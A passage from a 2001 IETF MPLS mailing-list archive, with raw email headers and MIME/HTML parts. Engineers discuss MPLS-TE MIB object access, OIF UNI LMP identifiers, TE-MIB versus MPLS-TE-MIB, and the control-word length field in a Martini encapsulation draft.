 when the link is failed and the local protection is in use flag will be
set?

 
Ashwin


------_=_NextPart_001_01C15580.6E294DA0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Doubt in draft-ietf-mpls-te-mib-07.txt MIB</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=2>Hello </FONT>
</P>

<P><FONT SIZE=2>&nbsp;In the&nbsp; draft-ietf-mpls-te-mib-07.txt tunnel table </FONT>
<BR><FONT SIZE=2>&nbsp;the Local protection is defined as</FONT>
</P>

<P><FONT SIZE=2>mplsTunnelLocalProtectInUse&nbsp; OBJECT-TYPE</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TruthValue</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; MAX-ACCESS&nbsp;&nbsp;&nbsp; read-create</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; DESCRIPTION</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Indicates that the local repair mechanism is in use</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to maintain this tunnel (usually in the face of an</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; outage of the link it was previously routed over).&quot;</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; ::= { mplsTunnelEntry 15 }</FONT>
</P>

<P><FONT SIZE=2>&nbsp;Shouldn't this be read-only variable as the fast reroute is enabled only </FONT>
<BR><FONT SIZE=2>&nbsp;when the link is failed and the local protection is in use flag will be set?</FONT>
</P>

<P><FONT SIZE=2>&nbsp;</FONT>
<BR><FONT SIZE=2>Ashwin</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C15580.6E294DA0--


From owner-mpls@UU.NET  Mon Oct 15 10:32:18 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA00561
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 10:32:18 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkvy22535;
	Mon, 15 Oct 2001 14:30:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkvx14411
	for mpls-outgoing; Mon, 15 Oct 2001 14:29:48 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkvx14406
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 14:29:42 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkvx15454
	for <mpls@uu.net>; Mon, 15 Oct 2001 14:29:37 GMT
Received: from alpha.tellium.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQlkvx08640
	for <mpls@uu.net>; Mon, 15 Oct 2001 14:29:53 GMT
Received: from Unknown [192.168.24.13] by alpha.tellium.com - SuperScout Email Filter ; Monday, 15 October 2001, 10:23:14
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <48LGYMNY>; Mon, 15 Oct 2001 10:24:00 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D02204040363429C@mail1.tellium.com>
From: Bala Rajagopalan <BRaja@tellium.com>
To: "'S Ramesh'" <rashanmu@npd.hcltech.com>, CCAMP <ccamp@ops.ietf.org>
Cc: mpls@UU.NET
Subject: RE: LMP Procedure in UNI 1.0 - Doubts
Date: Mon, 15 Oct 2001 10:23:58 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Ramesh:

At least the 1st question of your message belongs to the OIF
lists and not to the IETF lists. If you want to follow up,
please post to oif-signal@oiforum.com <mailto:oif-signal@oiforum.com>  or
send private mail.
 
In any case, let me just briefly answer the questions:
 
(1) Neighbor discovery runs only between network elements
and not proxies. If there is a proxy, information must be configured.
 
(2) Node ID refers to the single unique Id of the node (an IP address)
     Interface ID is an ID for a data link interface. E.g., could be a
locally
     unique index. 
     CCID is an ID for the control channel. One CC could be used to
     control interactions over multiple link interfaces. In the in-fiber
case,
     a one-to-one association between CC and data link is assumed, hence
    the relation CCID = interface ID.
 
regards,
 
Bala

-----Original Message-----
From: S Ramesh [mailto:rashanmu@npd.hcltech.com]
Sent: Sunday, October 14, 2001 3:40 PM
To: CCAMP; GMPLS
Cc: mpls@UU.NET
Subject: LMP Procedure in UNI 1.0 - Doubts


Hi,
 
I have some doubts in UNI 1.0 Whitepaper published by OIF.
 
1. IN section 8.2 it is given the UNI neighbour discovery  mechanism is
based on the LMP protocol mechanism. It is defined some three identifiers
for LMP procedures NodeID,CCID, INterfaceID. For in-fiber case the CCID MUST
be equal to the Interface ID. if this is the case then under direct service
invocation model which supports In-fiber method, there exists a proxy UNI-N
on the TNE side. So here the CCID cannot be the the same as the interface id
because interface id is the port address for data transfer and the CCID is
the IP control channel which can be a seperate point to point link between
the UNI-C and the proxy UNI-N. Then how comes the criteria
 
CCID == Interface ID ( MUST in in-fiber case) can be satisfied.
 
2. Also there is some confusion exists regarding the three IDs as i
mentioned above. When Config messages are sent under IP encapsulation they
use the destination address as the Node ID of the destination. So what is
the interface ID. Can anybody kindly explain these three IDs with a specific
scenario.
 
Thanks,
Ramesh
 




From owner-mpls@UU.NET  Mon Oct 15 13:24:07 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA06352
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 13:24:06 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkwj05560;
	Mon, 15 Oct 2001 17:22:20 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkwj25252
	for mpls-outgoing; Mon, 15 Oct 2001 17:21:33 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkwj25239
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 17:21:28 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkwj27452
	for <mpls@UU.NET>; Mon, 15 Oct 2001 17:21:16 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkwj04082
	for <mpls@UU.NET>; Mon, 15 Oct 2001 17:21:31 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA04532
	for <mpls@UU.NET>; Mon, 15 Oct 2001 13:21:13 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA00257
	for <mpls@UU.NET>; Mon, 15 Oct 2001 13:21:15 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <TLVX3TRL>; Mon, 15 Oct 2001 13:21:14 -0400
Message-ID: <313680C9A886D511A06000204840E1CF8F4D7A@whq-msgusr-02.pit.comms.marconi.com>
From: "Choudhury, Sanjaya" <Sanjaya.Choudhury@marconi.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: When to use TE-MIB (tewg) and when to use MPLS-TE-MIB (mplswg)
Date: Mon, 15 Oct 2001 13:20:54 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi! I have a basic question on the difference between the MPLS-TE-MIB 
(MPLS WG) and TE-MIB (TE WG).

Q1. When should one use the TE-MIB, instead of the MPLS-TE-MIB ?
      (or the MPLS-TE-MIB, instead of TE-MIB)

Q2. Specifically on a LSR(/LER) that supports MPLS-TE, is there any
      case, where the TE-MIB, compliments the features exported by the
      MPLS-TE-MIB?

Thanks,
sanjay



From owner-mpls@UU.NET  Mon Oct 15 13:45:02 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07294
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 13:45:02 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkwk24094;
	Mon, 15 Oct 2001 17:42:04 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkwk27321
	for mpls-outgoing; Mon, 15 Oct 2001 17:41:33 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkwk27305
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 17:41:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkwk14883
	for <mpls@uu.net>; Mon, 15 Oct 2001 17:40:53 GMT
Received: from merlot.juniper.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlkwk22299
	for <mpls@uu.net>; Mon, 15 Oct 2001 17:41:09 GMT
Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9FHep082487;
	Mon, 15 Oct 2001 10:40:51 -0700 (PDT)
	(envelope-from kireeti@juniper.net)
Received: (from kireeti@localhost) by kummer.juniper.net (8.8.8/8.7.3) id KAA20885; Mon, 15 Oct 2001 10:40:51 -0700 (PDT)
Date: Mon, 15 Oct 2001 10:40:51 -0700 (PDT)
From: Kireeti Kompella <kireeti@juniper.net>
Message-Id: <200110151740.KAA20885@kummer.juniper.net>
To: mpls@UU.NET, Sanjaya.Choudhury@marconi.com
Subject: Re: When to use TE-MIB (tewg) and when to use MPLS-TE-MIB (mplswg)
In-Reply-To: <313680C9A886D511A06000204840E1CF8F4D7A@whq-msgusr-02.pit.comms.marconi.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

> Hi! I have a basic question on the difference between the MPLS-TE-MIB 
> (MPLS WG) and TE-MIB (TE WG).

Here's my simplistic answer:

If you want to configure MPLS tunnels via a MIB, go for the MPLS-TE-MIB.
If you want detailed information (e.g., labels in and out), ditto.

If you want a simple, read-only MIB to figure out what your tunnels
are doing, use the TE-MIB.

The best thing is to read the MIBs and make your own decision.

Kireeti.


From owner-mpls@UU.NET  Mon Oct 15 14:10:55 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08375
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 14:10:55 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkwm08553;
	Mon, 15 Oct 2001 18:07:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkwm12568
	for mpls-outgoing; Mon, 15 Oct 2001 18:07:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkwm11371
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 18:07:03 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkwm29029
	for <mpls@uu.net>; Mon, 15 Oct 2001 18:06:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkwm08838
	for <mpls@uu.net>; Mon, 15 Oct 2001 18:05:54 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA18061 for <mpls@uu.net>; Mon, 15 Oct 2001 14:06:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA03381 for mpls@uu.net; Mon, 15 Oct 2001 14:06:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkwm09667
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 18:04:58 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkwm12801
	for <mpls@UU.NET>; Mon, 15 Oct 2001 18:04:37 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkwm05147
	for <mpls@UU.NET>; Mon, 15 Oct 2001 18:04:28 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA17836; Mon, 15 Oct 2001 14:04:35 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAY05254;
	Mon, 15 Oct 2001 14:04:33 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011015134829.01b86778@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 15 Oct 2001 14:05:37 -0400
To: "Choudhury, Sanjaya" <Sanjaya.Choudhury@marconi.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: When to use TE-MIB (tewg) and when to use MPLS-TE-MIB
  (mplswg)
Cc: "'mpls@UU.NET'" <mpls@UU.NET>, cheenu@alphion.com
In-Reply-To: <313680C9A886D511A06000204840E1CF8F4D7A@whq-msgusr-02.pit.c
 omms.marconi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk


>Hi! I have a basic question on the difference between the MPLS-TE-MIB
>(MPLS WG) and TE-MIB (TE WG).
>
>Q1. When should one use the TE-MIB, instead of the MPLS-TE-MIB ?
>       (or the MPLS-TE-MIB, instead of TE-MIB)

         I recommend that you always use the MPLS-TE-MIB because
it represents a super set of objects for managing TE tunnels. This MIB does 
include
the important objects from the TE-TE-MIB, which is why I say that it is a 
super
set of objects for managing TE tunnels.

         If you don't know already, the MPLS-TE-MIB models MPLS TE Tunnels for
heads and optionally for tails/endpoints, and for each tunnel keeps track 
of the
ERO, RRO and CSPF-computed paths, and has statistics. It supports tunnels that
are modeled both as Interfaces MIB entries, and those which are not. It 
provides
notifications for tunnels going up/down, being re-routed and re-optimized.
It supports both methods of signaling tunnels (RSVP-TE and CR-LDP). You
will also find that other MIBs such as those for managing PWE3 and CCAMP
are based on this MIB or will cross-reference entries found in it.

>Q2. Specifically on a LSR(/LER) that supports MPLS-TE, is there any
>       case, where the TE-MIB, compliments the features exported by the
>       MPLS-TE-MIB?

         Not that I am aware of.

         --Tom




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 



From owner-mpls@UU.NET  Mon Oct 15 14:23:14 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08717
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 14:23:14 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkwn08521;
	Mon, 15 Oct 2001 18:18:39 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkwn19910
	for mpls-outgoing; Mon, 15 Oct 2001 18:18:08 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkwn19903
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 18:17:59 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkwn17981
	for <mpls@uu.net>; Mon, 15 Oct 2001 18:17:05 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkwn04660
	for <mpls@uu.net>; Mon, 15 Oct 2001 18:16:56 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA19634 for <mpls@uu.net>; Mon, 15 Oct 2001 14:17:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA04144 for mpls@uu.net; Mon, 15 Oct 2001 14:17:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkwn19808
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 18:16:12 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkwn06744
	for <mpls@uu.net>; Mon, 15 Oct 2001 18:15:50 GMT
Received: from sj-msg-core-3.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-3.cisco.com [171.70.157.152])
	id QQlkwn02064
	for <mpls@uu.net>; Mon, 15 Oct 2001 18:15:42 GMT
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f9FIDeC25289;
	Mon, 15 Oct 2001 11:13:40 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id f9FIG4t28459;
	Mon, 15 Oct 2001 11:16:04 -0700 (PDT)
Received: from JKAO-W2K.cisco.com (dhcp-171-71-220-134.cisco.com [171.71.220.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id LAA20359; Mon, 15 Oct 2001 11:15:41 -0700 (PDT)
Message-Id: <4.3.2.7.2.20011015110550.028a6108@mira-sjc5-8.cisco.com>
X-Sender: jkao@mira-sjc5-8.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 15 Oct 2001 11:18:00 -0700
To: mpls@UU.NET, ppvpn@zephion.net
From: Jim Kao <jkao@cisco.com>
Subject: Question in draft-martini-l2circuit-encap-mpls-03.txt 
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk


In the page 4, it describes the length field in the control word as
the followings.

"The next 8 bits provide a length field, which is used as follows: If
the packet's length (defined as the length of the layer 2 payload
plus the length of the control word) is less than 64 bytes, length field 
MUST be set to the packet's length. Otherwise the
length field MUST be set to zero."


Don't 8 bits can specify the packet length up to 255 bytes? Why 64
bytes here ?

Thanks,
Jim Kao



From owner-mpls@UU.NET  Tue Oct 16 00:44:54 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21098
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 00:44:54 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkyc02697;
	Tue, 16 Oct 2001 04:43:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkyc20331
	for mpls-outgoing; Tue, 16 Oct 2001 04:42:50 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkyc20326
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 04:42:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkyc25581
	for <mpls@UU.NET>; Tue, 16 Oct 2001 04:42:40 GMT
Received: from multitech.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.39.98])
	id QQlkyc01956
	for <mpls@UU.NET>; Tue, 16 Oct 2001 04:42:54 GMT
Received: from abhay (abhay [192.168.1.136])
	by multitech.co.in (8.11.0/8.11.0) with SMTP id f9G4ghO04337;
	Tue, 16 Oct 2001 10:12:44 +0530
Message-ID: <001101c155fd$d2d2c600$dff2fea9@abhay>
From: "abhay" <abhay@multitech.co.in>
To: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>, <mpls-ops@mplsrc.com>,
        <mpls@UU.NET>
References: <751B6DD7A243D511AB9F0002557C568701226D3E@HUAWEIMAIL>
Subject: Re: Doubt in draft-ietf-mpls-te-mib-07.txt MIB
Date: Tue, 16 Oct 2001 10:18:28 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000A_01C1562B.E61801C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_000A_01C1562B.E61801C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Doubt in draft-ietf-mpls-te-mib-07.txt MIBAshwin,
           mplsTunnelLocalProtectInUse,is usually used by the =
administrator to view if the primary path is protected.

          1) When we enable a primary path to have disjoint local =
protection path,the primary path has its mplsTunnelLocal
           ProtectInUse filled when we create the path and not when the =
link in the path fails.

           2)It is also can be a way to telling the MPLS Management(ref =
the recent draft on MPLS Management) running on the
              router to know that the primary path is fast-reroute =
enabled and this router if required should participate in setting up
              local repair paths.

          That explains the read-create attribute of the variable.

          Hope this helps,
          Regards,
          Abhay
  ----- Original Message -----=20
  From: Ashwin C. Prabhu=20
  To: mpls-ops@mplsrc.com ; mpls@UU.NET=20
  Sent: Monday, October 15, 2001 7:21 PM
  Subject: Doubt in draft-ietf-mpls-te-mib-07.txt MIB




  Hello=20

   In the  draft-ietf-mpls-te-mib-07.txt tunnel table=20
   the Local protection is defined as=20

  mplsTunnelLocalProtectInUse  OBJECT-TYPE=20
     SYNTAX        TruthValue=20
     MAX-ACCESS    read-create=20
     STATUS        current=20
     DESCRIPTION=20
          "Indicates that the local repair mechanism is in use=20
            to maintain this tunnel (usually in the face of an=20
            outage of the link it was previously routed over)."=20
     ::=3D { mplsTunnelEntry 15 }=20

   Shouldn't this be read-only variable as the fast reroute is enabled =
only=20
   when the link is failed and the local protection is in use flag will =
be set?=20

   =20
  Ashwin=20


------=_NextPart_000_000A_01C1562B.E61801C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Doubt in draft-ietf-mpls-te-mib-07.txt MIB</TITLE>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Ashwin,</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
mplsTunnelLocalProtectInUse,is usually used by the administrator to view =
if the=20
primary path is protected.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1)&n=
bsp;When=20
we enable a primary path to have disjoint local protection path,the =
primary path=20
has its mplsTunnelLocal</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
ProtectInUse=20
filled when we create the path and not when the link in the path=20
fails.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;2)It is=20
also can be a way to telling the MPLS Management(ref the recent draft on =
MPLS=20
Management) running on the</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;=20
router to know that the primary path is fast-reroute enabled and this =
router if=20
required should participate in setting up</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;local=20
repair paths.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;That=
 explains=20
the read-create attribute of the variable.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hope =
this=20
helps,</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Regards,</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Abhay</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:Ashwinp@in.huawei.com" =
title=3DAshwinp@in.huawei.com>Ashwin C.=20
  Prabhu</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
href=3D"mailto:mpls-ops@mplsrc.com"=20
  title=3Dmpls-ops@mplsrc.com>mpls-ops@mplsrc.com</A> ; <A=20
  href=3D"mailto:mpls@UU.NET" title=3Dmpls@UU.NET>mpls@UU.NET</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, October 15, 2001 =
7:21=20
  PM</DIV>
